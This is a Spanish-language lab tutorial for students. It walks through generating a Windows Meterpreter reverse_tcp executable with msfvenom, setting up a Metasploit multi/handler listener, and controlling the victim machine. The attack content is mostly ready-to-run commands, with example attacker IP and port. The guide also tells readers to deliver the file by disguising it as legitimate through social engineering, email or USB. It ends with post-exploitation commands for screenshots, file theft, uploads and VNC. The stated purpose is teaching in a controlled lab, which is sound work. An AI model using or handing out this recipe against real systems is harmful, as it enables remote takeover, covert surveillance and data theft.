Guía Técnica: Creación de Payload Reverse_tcp con Metasploit

El objetivo de esta guía es que los estudiantes aprendan a generar un payload malicioso usando msfvenom, que al ser ejecutado en un sistema Windows vulnerable, permitirá obtener una reverse shell a través de Metasploit. Este ejercicio será realizado en un entorno controlado para propósitos educativos.

Requisitos del Laboratorio:

1. Máquina atacante: Kali Linux con Metasploit Framework instalado.
2. Máquina víctima: Windows 7, Windows 10 o cualquier versión de Windows sin protección o con antivirus desactivado.
3. Conexión de red entre ambas máquinas (pueden estar en una red virtual interna o en una LAN).
4. msfvenom: Herramienta para generar payloads.
5. Metasploit Framework: Para manejar las conexiones y obtener acceso remoto.

1. Generación del Payload con msfvenom

Descripción: El payload será un archivo ejecutable que, al ser ejecutado en la máquina víctima, establecerá una conexión inversa (reverse shell) a la máquina atacante.
Pasos:

- Abrir Terminal en Kali Linux.

Generar el Payload usando msfvenom. El siguiente comando generará un archivo ejecutable (.exe) para Windows, que contiene un payload de tipo reverse TCP.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP_del_Atacante> LPORT=<Puerto> -f exe -o payload.exe

1. **-p windows/meterpreter/reverse_tcp:** Indica el payload a utilizar (una reverse shell con Meterpreter).
2. **LHOST=<IP_del_Atacante>:** Es la dirección IP de la máquina Kali Linux (atacante) a la que se conectará la víctima.
3. **LPORT=<Puerto>:** Especifica el puerto en el que la máquina atacante escuchará la conexión.
4. **-f exe:** Especifica el formato de salida del archivo (en este caso, un ejecutable para Windows).
5. **-o payload.exe:** Guarda el payload como payload.exe.

Ejemplo:

#msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o payload.exe

Transferir el archivo generado (payload.exe) a la máquina víctima. Esto se puede hacer mediante:

1. Ingeniería social (simulando que es un archivo legítimo).
2. Subirlo mediante una unidad compartida, correo electrónico, USB, etc.

2. Configuración del Listener en Metasploit

Ahora vamos a configurar Metasploit para que escuche la conexión desde la máquina víctima cuando se ejecute el payload.
Pasos:

Iniciar Metasploit en la máquina atacante (Kali Linux).

En la terminal, ejecutar:

msfconsole

Seleccionar el módulo multi/handler, que permite gestionar conexiones de payloads.

use exploit/multi/handler

Configurar el payload que va a gestionar las conexiones. Este debe coincidir con el payload que se generó con msfvenom:

set payload windows/meterpreter/reverse_tcp

Establecer la IP y puerto de escucha (deben ser los mismos que usaste al generar el payload):

1. set LHOST <IP_del_Atacante>
2. set LPORT <Puerto>

Ejemplo:

1. set LHOST 192.168.1.100
2. set LPORT 4444

Iniciar el listener:

exploit

Metasploit ahora estará esperando a que la víctima ejecute el archivo malicioso y se conecte de vuelta a la máquina atacante.

3. Ejecución del Payload en la Máquina Víctima
Descripción:

Este paso consiste en ejecutar el archivo malicioso en la máquina víctima para que se establezca la conexión reversa.

Pasos:

Transferir y ejecutar el archivo payload.exe en la máquina víctima (por ejemplo, Windows 7/10).

Al ejecutarse el archivo en la máquina víctima, esta intentará conectarse a la máquina atacante (Kali Linux) en la IP y puerto especificados.

4. Acceso a la Máquina Víctima con Meterpreter

Si la víctima ejecuta el payload exitosamente, la máquina atacante recibirá la conexión y se iniciará una sesión de Meterpreter.
Pasos:

Una vez que el archivo se ejecute en la máquina víctima, la sesión Meterpreter se iniciará automáticamente en Metasploit. Verás algo como esto en la consola:

```
# meterpreter >
```

Interacción con la máquina víctima:

Ahora que tienes acceso, puedes ejecutar varios comandos en la máquina víctima. Algunos comandos útiles de Meterpreter son:

1. sysinfo: Muestra información del sistema de la víctima.
2. shell: Abre una shell de comandos estándar de Windows.
3. getuid: Muestra el usuario con el que tienes acceso.
4. screenshot: Toma una captura de pantalla de la máquina víctima.
5. download <archivo>: Descarga un archivo del sistema de la víctima a tu máquina.
6. upload <archivo>: Sube un archivo desde tu máquina a la víctima.
7. Iniciar el uso de la funcionalidad gráfica: **run vnc**

Para salir de Meterpreter y cerrar la sesión, usa el comando exit.